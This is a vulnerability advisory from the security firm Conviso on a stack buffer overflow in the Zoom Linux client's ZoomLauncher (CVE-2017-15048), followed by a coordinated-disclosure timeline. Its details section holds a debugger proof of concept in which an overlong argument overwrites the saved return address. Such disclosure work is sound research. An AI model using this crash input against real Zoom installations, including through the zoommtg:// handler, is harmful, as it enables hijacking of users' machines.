[CONVISO-17-002] - Zoom Linux Client Stack-based Buffer Overflow Vulnerability 1. Advisory Information Conviso Advisory ID: CONVISO-17-002 CVE ID: CVE-2017-15048 CVSS v2: 6.8, (AV:N/AC:M/Au:N/C:P/I:P/A:P) Date: 2017-10-01 2. Affected Components Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be vulnerable. 3. Description The binary /opt/zoom/ZoomLauncher is vulnerable to a buffer overflow because it concatenates a overly long user input to a stack variable without checking if the destination buffer is long enough to hold the data. The binary also has important security features like canary turned off. The client registers a scheme handler (zoommtg://) and this makes possible to trigger the vulnerability remotely. 4. Details gef> checksec [+] checksec for '/opt/zoom/ZoomLauncher' Canary : No NX : Yes PIE : No Fortify : No RelRO : Partial gef> gef> r $(python -c 'print "A"*1048 + "BBBBBBBB"') Starting program: /opt/zoom/ZoomLauncher $(python -c 'print "A"*1048 + "BBBBBBBB"') ZoomLauncher started. Breakpoint 4, 0x00000000004025a6 in main () gef> x/5i $pc => 0x4025a6 <main+367>: call 0x4010f0 <strcat@plt> 0x4025ab <main+372>: lea rax,[rbp-0x410] 0x4025b2 <main+379>: mov rcx,0xffffffffffffffff 0x4025b9 <main+386>: mov rdx,rax 0x4025bc <main+389>: mov eax,0x0 gef> x/s $rdi 0x7fffffffd330: "" gef> x/s $rsi 0x7fffffffdc35: 'A' <repeats 1048 times>, "BBBBBBBB" gef> i f Stack level 0, frame at 0x7fffffffd750: rip = 0x4025a6 in main; saved rip = 0x7ffff7216f45 Arglist at 0x7fffffffd740, args: Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750 Saved registers: rbp at 0x7fffffffd740, rip at 0x7fffffffd748 gef> ni 0x00000000004025ab in main () gef> i f Stack level 0, frame at 0x7fffffffd750: rip = 0x4025ab in main; saved rip = 0x4242424242424242 Arglist at 0x7fffffffd740, args: Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750 Saved registers: rbp at 0x7fffffffd740, rip at 0x7fffffffd748 gef> 5. Solution Upgrade to latest version. 6. Credits Ricardo Silva <firstname.lastname@example.org> Gabriel Quadros <email@example.com> 7. Report Timeline Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability. Set 28, 2017 - Vendor asked the report in the current channel. Set 28, 2017 - Conviso sent informations to reproduce the vulnerability. Set 28, 2017 - Conviso asked if they could reproduce it. Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team. Oct 5, 2017 - Vendor provided a patch candidate for testing. Oct 5, 2017 - Conviso pointed problems in the patch. Oct 11, 2017 - Vendor provided a patch candidate for testing. Oct 12, 2017 - Conviso pointed problems in the patch. Oct 23, 2017 - Conviso asked for status. Oct 27, 2017 - Conviso asked for status. Nov 1, 2017 - Conviso asked for status. Nov 3, 2017 - Vendor replied. Nov 6, 2017 - Conviso asked for status. Nov 6, 2017 - Vendor replied. Nov 9, 2017 - Conviso asked for status. Nov 13, 2017 - Conviso asked for status. Nov 15, 2017 - Conviso asked for status. Nov 16, 2017 - Vendor provided a patch candidate for testing. Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done. Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a sastifactory fix. Nov 30, 2017 - Vendor released the version 2.0.115900.1201 8. References https://zoom.us/download https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux 9. About Conviso Conviso is a consulting company specialized on application security. Our values are based on the allocation of the adequate competencies on the field, a clear and direct speech with the market, collaboration and partnership with our customers and business partners and constant investments on methodology and research improvement. For more information about our company and services provided, please check our website at www.conviso.com.br. 10. Copyright and Disclaimer The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided so that the society can understand the risk they may be facing by running affected software, hardware or other components used on their systems. In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL). No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.